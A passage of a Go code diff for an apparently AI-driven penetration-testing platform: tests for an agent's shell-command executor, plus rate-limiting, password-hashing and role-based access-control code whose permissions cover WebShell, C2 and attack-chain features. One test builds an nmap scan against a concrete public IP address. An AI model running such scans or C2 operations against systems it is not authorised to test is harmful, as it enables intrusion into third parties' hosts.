} + + executor := NewExecutor(cfg, mcpServer, logger) + return executor, mcpServer +} + +func TestExecutor_ExecuteInternalTool_UnknownTool(t *testing.T) { + executor, _ := setupTestExecutor(t) + + ctx := context.Background() + args := map[string]interface{}{ + "test": "value", + } + + // 测试未知的内部工具类型 + toolResult, err := executor.executeInternalTool(ctx, "unknown_tool", "internal:unknown_tool", args) + if err != nil { + t.Fatalf("执行内部工具失败: %v", err) + } + + if !toolResult.IsError { + t.Fatal("未知的工具类型应该返回错误") + } + + if !strings.Contains(toolResult.Content[0].Text, "未知的内部工具类型") { + t.Errorf("错误消息应该包含'未知的内部工具类型'") + } +} + +func TestExecuteSystemCommand_BackgroundDoesNotBlockOnChildStdout(t *testing.T) { + executor, _ := setupTestExecutor(t) + // 子进程先向 stdout 写无换行字符再长时间 sleep；若与 echo $pid 共享管道且未重定向子进程 stdout， + // ReadString('\n') 会阻塞到子进程退出。后台包装须将子进程标准流与 PID 行分离。 + ctx, cancel := context.WithTimeout(context.Background(), 4*time.Second) + defer cancel() + args := map[string]interface{}{ + "command": `(sh -c 'printf x; sleep 120') &`, + "shell": "sh", + } + res, err := executor.executeSystemCommand(ctx, args) + if err != nil { + t.Fatalf("executeSystemCommand: %v", err) + } + if res == nil || res.IsError { + t.Fatalf("expected success, got %+v", res) + } + txt := res.Content[0].Text + if !strings.Contains(txt, "后台命令已启动") { + t.Fatalf("unexpected body: %q", txt) + } +} + +func TestExecToolSoftWaitExposesPartialOutput(t *testing.T) { + executor, server := setupTestExecutor(t) + server.ConfigureToolWaitTimeoutSeconds(1) + mcp.RegisterExecutionControlTools(server, nil) + server.RegisterTool(mcp.Tool{Name: "exec", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) { + return executor.ExecuteTool(ctx, "exec", args) + }) + + result, executionID, err := server.CallTool(context.Background(), "exec", map[string]interface{}{ + "command": "for i in 1 2 3 4; do echo partial-$i; sleep 0.3; done; sleep 5", + "shell": "sh", + }) + if err != nil { + t.Fatalf("CallTool exec: %v", err) + } + if executionID == "" || result == nil || !result.IsError { + t.Fatalf("expected soft wait timeout, id=%q result=%#v", executionID, result) + } + + status, _, err := server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{ + "execution_id": executionID, + "include_partial_output": true, + "partial_output_max_bytes": 4096, + }) + if err != nil { + t.Fatalf("get_tool_execution: %v", err) + } + body := mcp.ToolResultPlainText(status) + if !strings.Contains(body, `"status": "running"`) { + t.Fatalf("expected running execution, got: %s", body) + } + if !strings.Contains(body, "partial-") || !strings.Contains(body, "partial_output") { + t.Fatalf("expected partial output in execution status, got: %s", body) + } + server.CancelToolExecution(executionID) +} + +func TestExecuteSystemCommand_FailureFormat(t *testing.T) { + executor, _ := setupTestExecutor(t) + res, err := executor.executeSystemCommand(context.Background(), map[string]interface{}{ + "command": "echo fail-msg >&2; exit 7", + "shell": "sh", + }) + if err != nil { + t.Fatalf("executeSystemCommand: %v", err) + } + if res == nil || !res.IsError { + t.Fatalf("expected IsError, got %+v", res) + } + text := res.Content[0].Text + if text != FormatCommandFailureResult(7, "fail-msg\n") && text != FormatCommandFailureResult(7, "fail-msg") { + t.Fatalf("unexpected failure text: %q", text) + } + if !strings.Contains(text, "exit status 7") || !strings.Contains(text, "fail-msg") { + t.Fatalf("unexpected failure text: %q", text) + } +} + +func TestExecuteSystemCommand_OutputIsSourceLimited(t *testing.T) { + executor, _ := setupTestExecutor(t) + spillRoot := t.TempDir() + executor.SetToolOutputMaxBytes(200) + executor.SetToolOutputSpillRoot(spillRoot) + ctx := mcp.WithMCPConversationID(context.Background(), "exec-spill") + res, err := executor.executeSystemCommand(ctx, map[string]interface{}{ + "command": "i=0; while [ $i -lt 2000 ]; do printf 0123456789; i=$((i+1)); done", + "shell": "sh", + }) + if err != nil { + t.Fatalf("executeSystemCommand: %v", err) + } + if res == nil || res.IsError { + t.Fatalf("expected success, got %+v", res) + } + text := res.Content[0].Text + if !strings.Contains(text, "") || !strings.Contains(text, "Full output saved to:") { + t.Fatalf("missing persisted-output notice: %q", text) + } + if len(text) > 200 { + t.Fatalf("output exceeded hard limit: len=%d text=%q", len(text), text) + } + if strings.Contains(text, strings.Repeat("0123456789", 20)) { + t.Fatalf("output kept too much data: len=%d", len(text)) + } +} + +func TestExecuteSystemCommand_StreamingOutputIsSourceLimited(t *testing.T) { + executor, _ := setupTestExecutor(t) + spillRoot := t.TempDir() + executor.SetToolOutputMaxBytes(200) + executor.SetToolOutputSpillRoot(spillRoot) + var streamed strings.Builder + ctx := context.WithValue(context.Background(), ToolOutputCallbackCtxKey, ToolOutputCallback(func(chunk string) { + streamed.WriteString(chunk) + })) + ctx = mcp.WithMCPConversationID(ctx, "exec-stream-spill") + res, err := executor.executeSystemCommand(ctx, map[string]interface{}{ + "command": "i=0; while [ $i -lt 2000 ]; do printf abcdefghij; i=$((i+1)); done", + "shell": "sh", + }) + if err != nil { + t.Fatalf("executeSystemCommand: %v", err) + } + text := res.Content[0].Text + if !strings.Contains(text, "") { + t.Fatalf("missing persisted-output notice: %q", text) + } + if len(text) > 200 { + t.Fatalf("returned output exceeded hard limit: len=%d text=%q", len(text), text) + } + // SSE only streams the bounded prefix; final agent-facing body is the spill notice. + if len(streamed.String()) > 200 { + t.Fatalf("streamed prefix exceeded hard limit: len=%d", len(streamed.String())) + } + if streamed.Len() == 0 { + t.Fatal("expected some streamed prefix before truncation") + } + if strings.Contains(text, strings.Repeat("abcdefghij", 50)) { + t.Fatalf("returned output kept too much raw data: len=%d", len(text)) + } +} + +func TestBuildCommandArgs_NmapSkipsEmptyOptionalFlags(t *testing.T) { + pos1 := 1 + executor, _ := setupTestExecutor(t) + toolConfig := &config.ToolConfig{ + Name: "nmap", + Command: "nmap", + Args: []string{"-sT", "-sV", "-sC"}, + Parameters: []config.ParameterConfig{ + {Name: "target", Type: "string", Required: true, Position: &pos1, Format: "positional"}, + {Name: "ports", Type: "string", Flag: "-p", Format: "flag"}, + {Name: "timing", Type: "string", Template: "-T{value}", Format: "template"}, + {Name: "nse_scripts", Type: "string", Flag: "--script", Format: "flag"}, + {Name: "os_detection", Type: "bool", Flag: "-O", Format: "flag", Default: false}, + {Name: "aggressive", Type: "bool", Flag: "-A", Format: "flag", Default: false}, + {Name: "scan_type", Type: "string", Format: "template", Template: "{value}"}, + {Name: "additional_args", Type: "string", Format: "positional"}, + }, + } + + args := map[string]interface{}{ + "target": "110.52.223.114", + "ports": "21, 22, 80, 443", + "timing": "4", + "nse_scripts": "", + "scan_type": "", + "os_detection": false, + "aggressive": false, + "additional_args": "-Pn", + } + + cmdArgs := executor.buildCommandArgs("nmap", toolConfig, args) + joined := strings.Join(cmdArgs, " ") + + if strings.Contains(joined, "--script") { + t.Fatalf("empty nse_scripts must not emit --script, got: %v", cmdArgs) + } + if !strings.Contains(joined, "110.52.223.114") { + t.Fatalf("target missing from args: %v", cmdArgs) + } + // target 应出现在 -Pn 之前，避免被误当作 --script 的参数 + pnIdx := indexOf(cmdArgs, "-Pn") + targetIdx := indexOf(cmdArgs, "110.52.223.114") + if pnIdx < 0 || targetIdx < 0 || targetIdx >= pnIdx { + t.Fatalf("expected target before -Pn, got: %v", cmdArgs) + } +} + +func indexOf(slice []string, s string) int { + for i, v := range slice { + if v == s { + return i + } + } + return -1 +} + +// TestCombinedOutputCancellable_ContextCancelKillsTree 验证 ctx 取消时能在数秒内结束（杀进程组，非挂死）。 +func TestCombinedOutputCancellable_ContextCancelKillsTree(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("unix process group kill") + } + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + + cmd := exec.CommandContext(ctx, "sh", "-c", "sleep 300") + ConfigureShellCmdForAgentExecute(cmd) + + done := make(chan error, 1) + go func() { + _, err := combinedOutputCancellable(ctx, cmd) + done <- err + }() + + time.Sleep(150 * time.Millisecond) + cancel() + + select { + case err := <-done: + if err == nil { + t.Fatal("expected context cancel error") + } + case <-time.After(5 * time.Second): + t.Fatal("combinedOutputCancellable did not return within 5s after context cancel") + } +} diff --git a/internal/security/password.go b/internal/security/password.go new file mode 100644 index 00000000..3eb356de --- /dev/null +++ b/internal/security/password.go @@ -0,0 +1,24 @@ +package security + +import ( + "crypto/rand" + "encoding/base64" +) + +// GenerateStrongPassword returns a URL-safe random password of the given length. +func GenerateStrongPassword(length int) (string, error) { + if length <= 0 { + length = 24 + } + + randomBytes := make([]byte, length) + if _, err := rand.Read(randomBytes); err != nil { + return "", err + } + + password := base64.RawURLEncoding.EncodeToString(randomBytes) + if len(password) > length { + password = password[:length] + } + return password, nil +} diff --git a/internal/security/procattr_unix.go b/internal/security/procattr_unix.go new file mode 100644 index 00000000..8f516ec8 --- /dev/null +++ b/internal/security/procattr_unix.go @@ -0,0 +1,41 @@ +//go:build !windows + +package security + +import ( + "os/exec" + "syscall" +) + +// prepareShellCmdSession 让 shell 子进程在独立会话中运行，便于超时/取消时整组 SIGKILL（含子进程）。 +func prepareShellCmdSession(cmd *exec.Cmd) error { + if cmd == nil { + return nil + } + if cmd.SysProcAttr == nil { + cmd.SysProcAttr = &syscall.SysProcAttr{} + } + cmd.SysProcAttr.Setsid = true + return nil +} + +// terminateProcessGroup 对 rootPID 对应进程组发 SIGKILL；rootPID 为 0 时回退到 cmd.Process.Pid。 +func terminateProcessGroup(rootPID int, cmd *exec.Cmd) { + pid := rootPID + if pid <= 0 && cmd != nil && cmd.Process != nil { + pid = cmd.Process.Pid + } + if pid <= 0 { + return + } + if err := syscall.Kill(-pid, syscall.SIGKILL); err != nil { + if cmd != nil && cmd.Process != nil { + _ = cmd.Process.Kill() + } + } +} + +// terminateCmdTree 尽力终止 cmd 及其进程组（Unix 下 Setsid 后 PGID == 首进程 PID）。 +func terminateCmdTree(cmd *exec.Cmd) { + terminateProcessGroup(0, cmd) +} diff --git a/internal/security/procattr_windows.go b/internal/security/procattr_windows.go new file mode 100644 index 00000000..af7da8c1 --- /dev/null +++ b/internal/security/procattr_windows.go @@ -0,0 +1,43 @@ +//go:build windows + +package security + +import ( + "os/exec" + "strconv" + "syscall" +) + +func prepareShellCmdSession(cmd *exec.Cmd) error { + if cmd == nil { + return nil + } + // 独立进程组，便于 taskkill /T 终止整棵子进程树。 + if cmd.SysProcAttr == nil { + cmd.SysProcAttr = &syscall.SysProcAttr{} + } + cmd.SysProcAttr.CreationFlags = syscall.CREATE_NEW_PROCESS_GROUP + return nil +} + +// terminateProcessGroup 使用 taskkill /F /T 终止进程及其子进程；rootPID 为 0 时回退到 cmd.Process.Pid。 +func terminateProcessGroup(rootPID int, cmd *exec.Cmd) { + pid := rootPID + if pid <= 0 && cmd != nil && cmd.Process != nil { + pid = cmd.Process.Pid + } + if pid <= 0 { + return + } + tk := exec.Command("taskkill", "/F", "/T", "/PID", strconv.Itoa(pid)) + if err := tk.Run(); err != nil { + if cmd != nil && cmd.Process != nil { + _ = cmd.Process.Kill() + } + } +} + +// terminateCmdTree 使用 taskkill /F /T 终止进程及其子进程（Windows 上 Process.Kill 无法保证杀掉 python 等孙进程）。 +func terminateCmdTree(cmd *exec.Cmd) { + terminateProcessGroup(0, cmd) +} diff --git a/internal/security/ratelimit.go b/internal/security/ratelimit.go new file mode 100644 index 00000000..71795710 --- /dev/null +++ b/internal/security/ratelimit.go @@ -0,0 +1,81 @@ +package security + +import ( + "net/http" + "sync" + "time" + + "github.com/gin-gonic/gin" +) + +// rateLimitEntry 记录某个 IP 的请求窗口信息 +type rateLimitEntry struct { + count int + windowAt time.Time +} + +// RateLimiter 基于 IP 的滑动窗口速率限制器 +type RateLimiter struct { + mu sync.Mutex + entries map[string]*rateLimitEntry + limit int // 窗口内允许的最大请求数 + window time.Duration // 窗口时长 +} + +// NewRateLimiter 创建速率限制器 +func NewRateLimiter(limit int, window time.Duration) *RateLimiter { + rl := &RateLimiter{ + entries: make(map[string]*rateLimitEntry), + limit: limit, + window: window, + } + // 后台定期清理过期条目，防止内存泄漏 + go rl.cleanup() + return rl +} + +// cleanup 每分钟清理一次过期条目 +func (rl *RateLimiter) cleanup() { + ticker := time.NewTicker(1 * time.Minute) + defer ticker.Stop() + for range ticker.C { + rl.mu.Lock() + now := time.Now() + for ip, entry := range rl.entries { + if now.Sub(entry.windowAt) > rl.window { + delete(rl.entries, ip) + } + } + rl.mu.Unlock() + } +} + +// allow 检查指定 IP 是否允许通过 +func (rl *RateLimiter) allow(ip string) bool { + rl.mu.Lock() + defer rl.mu.Unlock() + + now := time.Now() + entry, ok := rl.entries[ip] + if !ok || now.Sub(entry.windowAt) > rl.window { + rl.entries[ip] = &rateLimitEntry{count: 1, windowAt: now} + return true + } + + entry.count++ + return entry.count <= rl.limit +} + +// RateLimitMiddleware 返回 Gin 中间件，对超限请求返回 429 +func RateLimitMiddleware(rl *RateLimiter) gin.HandlerFunc { + return func(c *gin.Context) { + ip := c.ClientIP() + if !rl.allow(ip) { + c.AbortWithStatusJSON(http.StatusTooManyRequests, gin.H{ + "error": "rate limit exceeded, please try again later", + }) + return + } + c.Next() + } +} diff --git a/internal/security/rbac.go b/internal/security/rbac.go new file mode 100644 index 00000000..1c5b766f --- /dev/null +++ b/internal/security/rbac.go @@ -0,0 +1,119 @@ +package security + +import ( + "crypto/sha256" + "crypto/subtle" + "encoding/hex" + "fmt" + "strings" + + "golang.org/x/crypto/bcrypt" +) + +// Platform permissions use module:action naming. They are intentionally +// separate from AI testing roles under roles/. +var PermissionCatalog = map[string]string{ + "auth:self": "Manage own session and password", + "dashboard:read": "View dashboard summaries", + "chat:read": "View conversations", + "chat:write": "Create and update conversations", + "chat:delete": "Delete conversations and turns", + "agent:execute": "Run AI agents and workflows", + "agent:local-execute": "Use local filesystem, shell, and configured command tools from an agent", + "hitl:read": "View HITL queues and logs", + "hitl:write": "Approve, dismiss, and configure HITL", + "tasks:read": "View task queues", + "tasks:write": "Create and run task queues", + "tasks:delete": "Delete task queues", + "project:read": "View projects and project facts", + "project:write": "Create and update projects and facts", + "project:delete": "Delete projects and facts", + "vulnerability:read": "View vulnerabilities", + "vulnerability:write": "Create and update vulnerabilities", + "vulnerability:delete": "Delete vulnerabilities", + "asset:read": "View managed assets and asset summaries", + "asset:write": "Create, import, and update assets", + "asset:delete": "Delete managed assets", + "webshell:read": "View WebShell connections", + "webshell:write": "Manage and use WebShell connections", + "webshell:delete": "Delete WebShell connections", + "c2:read": "View C2 listeners, sessions, tasks, events, and profiles", + "c2:write": "Operate C2 listeners, sessions, tasks, payloads, files, and profiles", + "c2:delete": "Delete C2 objects", + "mcp:read": "View MCP status and external MCP configuration", + "mcp:execute": "Invoke the authenticated MCP endpoint", + "mcp:external:execute": "Invoke tools exposed by configured external MCP servers", + "mcp:write": "Manage external MCP server configuration and lifecycle", + "knowledge:read": "View knowledge base and retrieval logs", + "knowledge:write": "Create, update, index, and scan knowledge base", + "knowledge:delete": "Delete knowledge items and retrieval logs", + "skills:read": "View skills and skill stats", + "skills:write": "Create and update skills", + "skills:delete": "Delete skills and stats", + "agents:read": "View markdown agents", + "agents:write": "Create and update markdown agents", + "agents:delete": "Delete markdown agents", + "roles:read": "View AI testing roles", + "roles:write": "Create and update AI testing roles", + "roles:delete": "Delete AI testing roles", + "workflow:read": "View workflow definitions and runs", + "workflow:execute": "Validate, dry-run, and resume authorized workflow runs", + "workflow:write": "Create and update workflow definitions", + "workflow:delete": "Delete workflows", + "config:read": "View system configuration", + "config:write": "Update and apply system configuration", + "terminal:execute": "Run terminal commands", + "audit:read": "View and export audit logs", + "audit:delete": "Delete audit logs", + "rbac:read": "View users, platform roles, permissions, and assignments", + "rbac:write": "Manage users, platform roles, permissions, and assignments", + "notification:read": "View notifications", + "notification:write": "Mark notifications as read", + "robot:read": "View robot binding status", + "robot:write": "Manage robot bindings and test robot callbacks", + "files:read": "View chat uploads", + "files:write": "Upload, edit, and rename chat files", + "files:delete": "Delete chat files", + "attackchain:read": "View attack chains", + "attackchain:write": "Regenerate attack chains", + "fofa:execute": "Run FOFA searches and query parsing", + "openapi:read": "Read OpenAPI aggregation results", + "group:read": "View conversation groups", + "group:write": "Create and update conversation groups", + "group:delete": "Delete conversation groups", + "monitor:read": "View execution monitor", + "monitor:write": "Cancel monitor executions", + "monitor:delete": "Delete monitor executions", +} + +func HashPassword(password string) (string, error) { + password = strings.TrimSpace(password) + if password == "" { + return "", fmt.Errorf("password is empty") + } + hash, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost) + if err != nil { + return "", err + } + return string(hash), nil +} + +func VerifyPasswordHash(password, encoded string) bool { + if strings.HasPrefix(encoded, "$2a$") || strings.HasPrefix(encoded, "$2b$") || strings.HasPrefix(encoded, "$2y$") { + return bcrypt.CompareHashAndPassword([]byte(encoded), []byte(strings.TrimSpace(password))) == nil + } + parts := strings.Split(encoded, "$") + if len(parts) != 3 || parts[0] != "sha256" { + return false + } + salt, err := hex.DecodeString(parts[1]) + if err != nil { + return false + } + expected, err := hex.DecodeString(parts[2]) + if err != nil { + return false + } + sum := sha256.Sum256(append(salt, []byte(strings.TrimSpace(password))...)) + return subtle.ConstantTimeCompare(sum[:], expected) == 1 +} diff --git a/internal/security/rbac_middleware.go b/internal/security/rbac_middleware.go new file mode 100644 index 00000000..6a719612 --- /dev/null +++ b/internal/security/rbac_middleware.go @@ -0,0 +1,282 @@ +package security + +import ( + "net/http" + "strings" + + "cyberstrike-ai/internal/database" + + "github.com/gin-gonic/gin" +) + +// RBACMiddleware maps protected API routes to platform permissions. It keeps +// enforcement centralized so route declarations stay readable. +func RBACMiddleware(db *database.DB) gin.HandlerFunc { + return RBACMiddlewareWithDenyHook(db, nil) +} + +type RBACDenyHook func(c *gin.Context, reason, permission string) + +func RBACMiddlewareWithDenyHook(db *database.DB, denyHook RBACDenyHook) gin.HandlerFunc { + return func(c *gin.Context) { + permission := permissionForRequest(c.Request.Method, c.FullPath()) + if permission == "" { + if denyHook != nil { + denyHook(c, "unmapped_route", "") + } + c.AbortWithStatusJSON(http.StatusForbidden, gin.H{ + "error": "未配置访问权限", + }) + return + } + permission, allowed := sessionHasRoutePermission(c, c.Request.Method, c.FullPath()) + if !allowed { + if denyHook != nil { + denyHook(c, "permission_denied", permission) + } + c.AbortWithStatusJSON(http.StatusForbidden, gin.H{ + "error": "权限不足", + "permission": permission, + }) + return + } + // Bind the scope of the permission authorizing this request. Scope is + // permission-specific; using the user's broadest role scope here would + // let an unrelated global read role widen a write permission. + session, _ := CurrentSession(c) + session.Scope = session.ScopeFor(permission) + c.Set(ContextSessionKey, session) + c.Set(ContextUserScopeKey, session.Scope) + if db != nil && !resourceAllowed(c, db) { + if denyHook != nil { + denyHook(c, "resource_denied", permission) + } + c.AbortWithStatusJSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"}) + return + } + c.Next() + } +} + +func sessionHasRoutePermission(c *gin.Context, method, fullPath string) (string, bool) { + path := strings.TrimPrefix(fullPath, "/api") + if alts := permissionAlternativesForRequest(method, path); len(alts) > 0 { + for _, permission := range alts { + if SessionHasPermission(c, permission) { + return permission, true + } + } + return alts[0], false + } + permission := permissionForRequest(method, fullPath) + if permission == "" { + return "", false + } + return permission, SessionHasPermission(c, permission) +} + +func permissionAlternativesForRequest(method, path string) []string { + if method != http.MethodGet && method != http.MethodHead { + return nil + } + switch { + case strings.HasPrefix(path, "/config/tools"): + // MCP 管理页只需 mcp:read；系统设置页仍可用 config:read 访问同一接口。 + return []string{"mcp:read", "config:read"} + default: + return nil + } +} + +func permissionForRequest(method, fullPath string) string { + path := strings.TrimPrefix(fullPath, "/api") + switch { + case path == "/rbac/me": + return "auth:self" + case path == "/rbac/resources": + // The picker enumerates resource names and IDs and is only needed by + // administrators who can actually create assignments. + return "rbac:write" + case strings.HasPrefix(path, "/rbac"): + if method == http.MethodGet { + return "rbac:read" + } + return "rbac:write" + case strings.HasPrefix(path, "/robot/wechat/status"): + return "robot:read" + case strings.HasPrefix(path, "/robot"): + return "robot:write" + case strings.HasPrefix(path, "/eino-agent"), strings.HasPrefix(path, "/multi-agent"): + if strings.Contains(path, "/markdown-agents") { + return crudPermission(method, "agents") + } + return "agent:execute" + case strings.HasPrefix(path, "/hitl"): + if method == http.MethodGet || method == http.MethodHead { + return "hitl:read" + } + return "hitl:write" + case strings.HasPrefix(path, "/agent-loop"), strings.HasPrefix(path, "/batch-tasks"): + return crudPermission(method, "tasks") + case strings.HasPrefix(path, "/conversations"), strings.HasPrefix(path, "/messages"), strings.HasPrefix(path, "/process-details"): + return crudPermission(method, "chat") + case strings.HasPrefix(path, "/groups"): + return crudPermission(method, "group") + case strings.HasPrefix(path, "/monitor"): + return crudPermission(method, "monitor") + case strings.HasPrefix(path, "/notifications"): + if method == http.MethodGet { + return "notification:read" + } + return "notification:write" + case strings.HasPrefix(path, "/config"): + return crudPermission(method, "config") + case strings.HasPrefix(path, "/terminal"): + return "terminal:execute" + case strings.HasPrefix(path, "/audit"): + return crudPermission(method, "audit") + case path == "/mcp": + return "mcp:execute" + case strings.HasPrefix(path, "/external-mcp"): + if method == http.MethodGet || method == http.MethodHead { + return "mcp:read" + } + return "mcp:write" + case strings.HasPrefix(path, "/attack-chain"): + return crudPermission(method, "attackchain") + case strings.HasPrefix(path, "/knowledge"): + if path == "/knowledge/search" { + return "knowledge:read" + } + return crudPermission(method, "knowledge") + case strings.HasPrefix(path, "/vulnerabilities"): + return crudPermission(method, "vulnerability") + case path == "/assets/batch-delete", path == "/assets/merge": + return "asset:delete" + case strings.HasPrefix(path, "/assets"): + return crudPermission(method, "asset") + case strings.HasPrefix(path, "/vulnerability-alerts"): + // This endpoint only changes the authenticated user's own preference. + return "vulnerability:read" + case strings.HasPrefix(path, "/projects"): + return crudPermission(method, "project") + case strings.HasPrefix(path, "/webshell"): + return crudPermission(method, "webshell") + case strings.HasPrefix(path, "/c2"): + return crudPermission(method, "c2") + case strings.HasPrefix(path, "/chat-uploads"): + return crudPermission(method, "files") + case strings.HasPrefix(path, "/roles"): + return crudPermission(method, "roles") + case path == "/workflows/:id/package": + return "workflow:read" + case strings.HasPrefix(path, "/workflow-package-inspections"), strings.HasPrefix(path, "/workflow-package-imports"): + return "workflow:write" + case path == "/workflows/generate-draft": + return "workflow:write" + case strings.HasPrefix(path, "/workflows"): + if path == "/workflows/validate" || path == "/workflows/dry-run" || strings.HasSuffix(path, "/resume") { + return "workflow:execute" + } + return crudPermission(method, "workflow") + case strings.HasPrefix(path, "/skills"): + return crudPermission(method, "skills") + case strings.HasPrefix(path, "/openapi"): + return "openapi:read" + case strings.HasPrefix(path, "/fofa"): + return "fofa:execute" + default: + return "" + } +} + +func crudPermission(method, module string) string { + switch method { + case http.MethodGet, http.MethodHead: + return module + ":read" + case http.MethodDelete: + return module + ":delete" + default: + return module + ":write" + } +} + +func resourceAllowed(c *gin.Context, db *database.DB) bool { + session, ok := CurrentSession(c) + if !ok || session.Scope == database.RBACScopeAll { + return ok + } + path := strings.TrimPrefix(c.FullPath(), "/api") + switch { + case path == "/monitor/stats", path == "/monitor/calls-timeline": + // These APIs currently operate on process-global state. Until every MCP + // invocation and persisted execution record carries an immutable owner, + // allowing an assigned/own-scoped session would be a cross-user bypass. + return session.Scope == database.RBACScopeAll + case strings.HasPrefix(path, "/c2/profiles") && c.Request.Method != http.MethodGet: + return session.Scope == database.RBACScopeAll + case (strings.HasPrefix(path, "/hitl/tool-whitelist") || strings.HasPrefix(path, "/hitl/default-reviewer") || strings.HasPrefix(path, "/hitl/audit-strategy")) && c.Request.Method != http.MethodGet: + return session.Scope == database.RBACScopeAll + case isMutationMethod(c.Request.Method) && isProcessGlobalMutationPath(path): + // These definitions/configurations are shared by every user and do not + // carry owners. A module write permission with assigned/own scope must + // not silently become a process-global administrative capability. + return session.Scope == database.RBACScopeAll + case strings.HasPrefix(path, "/projects/:id"): + return db.UserCanAccessResource(session.UserID, session.Scope, "project", c.Param("id")) + case strings.HasPrefix(path, "/conversations/:id"): + return db.UserCanAccessResource(session.UserID, session.Scope, "conversation", c.Param("id")) + case strings.HasPrefix(path, "/messages/:id/process-details"): + return db.UserCanAccessMessage(session.UserID, session.Scope, c.Param("id")) + case strings.HasPrefix(path, "/process-details/:id"): + return db.UserCanAccessProcessDetail(session.UserID, session.Scope, c.Param("id")) + case strings.HasPrefix(path, "/attack-chain/:conversationId"): + return db.UserCanAccessResource(session.UserID, session.Scope, "conversation", c.Param("conversationId")) + case strings.HasPrefix(path, "/webshell/connections/:id"): + return db.UserCanAccessResource(session.UserID, session.Scope, "webshell", c.Param("id")) + case strings.HasPrefix(path, "/batch-tasks/:queueId"): + return db.UserCanAccessResource(session.UserID, session.Scope, "batch_task", c.Param("queueId")) + case strings.HasPrefix(path, "/vulnerabilities/:id"): + return db.UserCanAccessResource(session.UserID, session.Scope, "vulnerability", c.Param("id")) + case strings.HasPrefix(path, "/assets/:id"): + return db.UserCanAccessResource(session.UserID, session.Scope, "asset", c.Param("id")) + case strings.HasPrefix(path, "/c2/listeners/:id"): + return db.UserCanAccessResource(session.UserID, session.Scope, "c2_listener", c.Param("id")) + case strings.HasPrefix(path, "/c2/sessions/:id"): + return db.UserCanAccessResource(session.UserID, session.Scope, "c2_session", c.Param("id")) + case strings.HasPrefix(path, "/c2/tasks/:id"): + return db.UserCanAccessResource(session.UserID, session.Scope, "c2_task", c.Param("id")) + default: + return true + } +} + +func isMutationMethod(method string) bool { + switch method { + case http.MethodPost, http.MethodPut, http.MethodPatch, http.MethodDelete: + return true + default: + return false + } +} + +func isProcessGlobalMutationPath(path string) bool { + if strings.HasPrefix(path, "/roles") || strings.HasPrefix(path, "/skills") || + strings.HasPrefix(path, "/external-mcp") || strings.HasPrefix(path, "/robot") { + return true + } + if strings.HasPrefix(path, "/workflows") { + // Workflow runs inherit conversation access; definitions are global. + return !strings.HasPrefix(path, "/workflows/runs/") && path != "/workflows/validate" && path != "/workflows/dry-run" && path != "/workflows/generate-draft" + } + if strings.HasPrefix(path, "/workflow-package-inspections") || strings.HasPrefix(path, "/workflow-package-imports") { + return true + } + if strings.HasPrefix(path, "/knowledge") { + return path != "/knowledge/search" + } + if strings.HasPrefix(path, "/eino-agent/markdown-agents") || strings.HasPrefix(path, "/multi-agent/markdown-agents") { + return true + } + return false +} diff --git a/internal/security/rbac_middleware_test.go b/internal/security/rbac_middleware_test.go new file mode 100644 index 00000000..6d1c54a5 --- /dev/null +++ b/internal/security/rbac_middleware_test.go @@ -0,0 +1,269 @@ +package security + +import ( + "net/http" + "net/http/httptest" + "testing" + + "cyberstrike-ai/internal/database" + + "github.com/gin-gonic/gin" +) + +func TestRBACMiddlewareUsesMatchedFullPath(t *testing.T) { + gin.SetMode(gin.TestMode) + router := gin.New() + router.Use(func(c *gin.Context) { + c.Set(ContextSessionKey, Session{ + UserID: "u1", + Username: "operator", + Permissions: map[string]bool{"project:read": true}, + Scope: database.RBACScopeAll, + }) + c.Next() + }) + router.Use(RBACMiddleware(nil)) + router.GET("/api/projects/:id", func(c *gin.Context) { + c.JSON(http.StatusOK, gin.H{"ok": true}) + }) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/api/projects/p1", nil) + router.ServeHTTP(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status = %d, want %d: %s", w.Code, http.StatusOK, w.Body.String()) + } +} + +func TestRBACMiddlewareRejectsMissingPermission(t *testing.T) { + gin.SetMode(gin.TestMode) + router := gin.New() + router.Use(func(c *gin.Context) { + c.Set(ContextSessionKey, Session{ + UserID: "u1", + Username: "viewer", + Permissions: map[string]bool{"project:read": true}, + Scope: database.RBACScopeAll, + }) + c.Next() + }) + router.Use(RBACMiddleware(nil)) + router.POST("/api/projects", func(c *gin.Context) { + c.JSON(http.StatusOK, gin.H{"ok": true}) + }) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/projects", nil) + router.ServeHTTP(w, req) + if w.Code != http.StatusForbidden { + t.Fatalf("status = %d, want %d", w.Code, http.StatusForbidden) + } +} + +func TestRBACMiddlewareRejectsUnmappedProtectedRoute(t *testing.T) { + gin.SetMode(gin.TestMode) + router := gin.New() + router.Use(func(c *gin.Context) { + c.Set(ContextSessionKey, Session{ + UserID: "u1", + Username: "admin", + Permissions: allPermissions(), + Scope: database.RBACScopeAll, + }) + c.Next() + }) + router.Use(RBACMiddleware(nil)) + router.GET("/api/new-module", func(c *gin.Context) { + c.JSON(http.StatusOK, gin.H{"ok": true}) + }) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/api/new-module", nil) + router.ServeHTTP(w, req) + if w.Code != http.StatusForbidden { + t.Fatalf("status = %d, want %d", w.Code, http.StatusForbidden) + } +} + +func TestRBACMiddlewareMapsOpenAPISpec(t *testing.T) { + gin.SetMode(gin.TestMode) + router := gin.New() + router.Use(func(c *gin.Context) { + c.Set(ContextSessionKey, Session{ + UserID: "u1", + Username: "viewer", + Permissions: map[string]bool{"openapi:read": true}, + Scope: database.RBACScopeAll, + }) + c.Next() + }) + router.Use(RBACMiddleware(nil)) + router.GET("/api/openapi/spec", func(c *gin.Context) { + c.JSON(http.StatusOK, gin.H{"ok": true}) + }) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/api/openapi/spec", nil) + router.ServeHTTP(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status = %d, want %d: %s", w.Code, http.StatusOK, w.Body.String()) + } +} + +func TestRBACResourcePickerRequiresWritePermission(t *testing.T) { + if got := permissionForRequest(http.MethodGet, "/api/rbac/resources"); got != "rbac:write" { + t.Fatalf("picker permission = %q, want rbac:write", got) + } + if got := permissionForRequest(http.MethodGet, 